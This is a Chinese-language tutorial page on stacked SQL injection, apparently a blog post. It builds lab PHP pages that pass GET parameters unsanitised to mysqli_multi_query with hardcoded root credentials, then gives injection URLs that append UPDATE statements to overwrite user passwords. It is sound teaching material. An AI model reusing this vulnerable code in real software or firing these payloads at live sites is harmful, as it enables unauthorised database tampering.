sql堆叠注入

准备知识:

  • php中multi_query():一次可以执行多个sql语句
  • 比如:查询注入id=1;update xxx;

定义:如果后端代码中,数据库执行的方法是multi_query(),那么就可以一次执行多个sql,也就可以支持堆叠注入了。

准备靶场:

php 复制代码
<?php

$id=$_GET['id'];

$conn=mysqli_connect("192.168.190.133", "root", "123456", "crm",3306);
mysqli_query($conn, "set name utf8");

$sql="insert into userinfo(id) values($id)";
$res=mysqli_multi_query($conn, $sql) or die(mysqli_error($conn));
if($res){
    echo "yes";
}else{
    echo "no";
};
?>

验证:

准备sql注入:

ini 复制代码
http://192.168.190.133/wh067/08-sqli/demo1.php?id=2;update userinfo set password = '123' where id=2;

结果:

如果是更新注入类型:insert

靶场:

php 复制代码
<?php

$id=$_GET['id'];

$conn=mysqli_connect("192.168.190.133", "root", "123456", "crm",3306);
mysqli_query($conn, "set name utf8");

// $sql="select * from userinfo where id=$id";
$sql="insert into userinfo(id) values($id)";
$res=mysqli_multi_query($conn, $sql) or die(mysqli_error($conn));
if($res){
    echo "yes";
}else{
    echo "no";
};
?>

注入sql

ini 复制代码
http://192.168.190.133/wh067/08-sqli/demo1.php?id=11);update userinfo set password = '666' where id=2;-- -)

如果是更新注入类型:update

靶场:

php 复制代码
<?php

$id=$_GET['id'];
$account=$_GET['account'];

$conn=mysqli_connect("192.168.190.133", "root", "123456", "crm",3306);
mysqli_query($conn, "set name utf8");

// $sql="select * from userinfo where id=$id";
// $sql="insert into userinfo(id) values($id)";
$sql="update userinfo set account='$account' where id=$id";

$res=mysqli_multi_query($conn, $sql) or die(mysqli_error($conn));
if($res){
    echo "yes";
}else{
    echo "no";
};
?>
相关推荐
冰茶_6 分钟前
掌握LINQ:查询语法与方法语法全解析
sql·学习·microsoft·微软·c#·linq
CryptoRzz12 分钟前
股票数据源对接技术指南:印度尼西亚、印度、韩国
数据库·python·金融·数据分析·区块链
Pluto_CSND21 分钟前
hbase shell的常用命令
大数据·数据库·hbase
哈哈真棒38 分钟前
sparkSQL读入csv文件写入mysql(2)
数据库·mysql
Cynicism_Smile1 小时前
Mysql 8.0.32 union all 创建视图后中文模糊查询失效
数据库·mysql
小oo呆1 小时前
【自然语言处理与大模型】向量数据库技术
数据库·人工智能·自然语言处理
Aurora_NeAr1 小时前
Redis设计与实现——Redis命令参考与高级特性
数据库·redis·缓存
程序猿小谢1 小时前
Redis特性与应用
数据库·redis·缓存
Code哈哈笑2 小时前
【基于Spring Boot 的图书购买系统】深度讲解 用户注册的前后端交互,Mapper操作MySQL数据库进行用户持久化
数据库·spring boot·后端·mysql·mybatis·交互
Javatutouhouduan2 小时前
线上问题排查:JVM OOM问题如何排查和解决
java·jvm·数据库·后端·程序员·架构师·oom